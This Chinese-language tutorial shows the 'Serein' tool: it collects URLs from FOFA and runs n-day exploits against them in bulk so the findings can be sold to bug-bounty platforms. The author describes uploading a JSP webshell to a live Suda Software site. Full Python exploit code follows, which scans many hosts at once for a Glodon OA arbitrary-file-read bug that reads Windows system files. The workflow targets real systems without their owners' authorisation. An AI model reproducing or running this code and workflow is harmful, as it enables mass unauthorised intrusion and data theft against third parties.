视频教程在我主页简介和专栏里
Serein 安装使用
工具地址:zkanzz
一款图形化、批量采集url、批量对采集的url进行各种nday检测的工具。可用于 src挖掘、cnvd挖掘、0day利用、打造自己的武器库等场景。其实能够利用 1day 打站的工具有很多,可以自定义的武器库工具也有很多,该工具主要是引用了反查域名和查权重的 api 功能,实现了一步到位。
github 下载后, pip 下载好依赖就能直接使用,工具排版,
先在 fofa 配置填上自己的 key,这个 fofa 的 api 功能是需要会员的,可以在某鱼某宝上购买便宜的,购买后的在下面替换自己的 api,当然也可以用其他的测绘工具。
利用流程也很简单,先利用 fofa 进行指定的 url 搜集,然后利用 nday 模块进行测试,最好反查域名查权重进行筛选。
这里拿 速达软件全系产品 DesignReportSave 任意文件上传漏洞
来进行测试,fofa 语法: app="速达软件-公司产品"
可以看到搜集到的 ip 自动加了 http://
和 https://
协议,可以直接利用。点击 nday 利用模块选择对应漏洞(这个利用poc 是自己添加的,后面再讲如何添加 poc),
在大量的网站中总还是有些没有修复漏洞的,存在漏洞的站点会自动保存到 txt 文件中,这里随便选一个看是否成功。
看到成功连接到了上传的 jsp 木马,就点到为止了。然后进行 ip 反查域名
最后再进行一波权重查询进行筛选,有的交补天没有的就交漏洞盒子。
原poc地址: https://github.com/MzzdToT/HAC_Bored_Writing/tree/main/Fileupload/suda
SRC 批量挖掘
如果是平时挖 src 的话光靠这种 nday 是不行的,不是 0day 最起码也得是个 1day 吧,批量漏洞扫描挖 src 拼的就是一个手速。所以这里就需要去自己寻找新出的漏洞或者 cve 什么的,然后自己构建脚本进行批量扫描,再利用该工具自带的功能进行筛选。
在那些wiki漏洞文库上寻找比较新的漏洞即可,比如下面随便选一个看起来比较简单的
查看 poc 就是访问路由进行传参
仿造工具里面的 poc 改一下
import requests import tkinter as tk from tkinter import scrolledtext from concurrent.futures import ThreadPoolExecutor from ttkbootstrap.constants import * import json def yync_exp(url): url1 = url + "/m/mobileAction.ashx/do.asmx?controller=Microsoft.VisualBasic.FileIO.FileSystem%2c%20Microsoft.VisualBasic%2c%20Version%3d8.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3db03f5f7f11d50a3a&action=ReadAllBytes" head= { 'Content-Type': 'application/json', } data = '["C:\\Windows\\win.ini"]' try: res = requests.post(url1, json=data, headers=head,timeout=3) if "59" in res.text : yync_rce_text.insert(END,"【*】存在漏洞的url:" + url + "\n") yync_rce_text.see(END) with open ("存在广联达OA系统任意文件读取url.txt", 'a') as f: f.write(url + "\n") else: yync_rce_text.insert(END, "【×】不存在漏洞的url:" + url + "\n") yync_rce_text.see(END) except Exception as err: yync_rce_text.insert(END, "【×】目标请求失败,报错内容:" + str(err) + "\n") yync_rce_text.see(END) def get_yync_addr(): with open("修正后的url.txt","r") as f: for address in f.readlines(): address = address.strip() yield address def fileread_gui(): yync_rce = tk.Tk() yync_rce.geometry("910x450") yync_rce.title("广联达OA系统任意文件读取") yync_rce.resizable(0, 0) yync_rce.iconbitmap('logo.ico') global yync_rce_text yync_rce_text = scrolledtext.ScrolledText(yync_rce,width=123, height=25) yync_rce_text.grid(row=0, column=0, padx=10, pady=10) yync_rce_text.see(END) addrs = get_yync_addr() max_thread_num = 30 executor = ThreadPoolExecutor(max_workers=max_thread_num) for addr in addrs: future = executor.submit(yync_exp, addr) yync_rce.mainloop()
然后再 gui 界面进行引用,
再次打开工具就可以看到多了个利用模块了,
同理搜集 url 进行批量扫描,然后漏洞 url 会写入 txt 文件中,
还是简单验证一下,解码就是内容。
然后就是查域名查权重了,不过这个漏洞资产比较少,基本都没有权重,有域名有公司的就全部甩漏洞盒子了。在选择漏洞的时候就选资产多的比较新的就行了。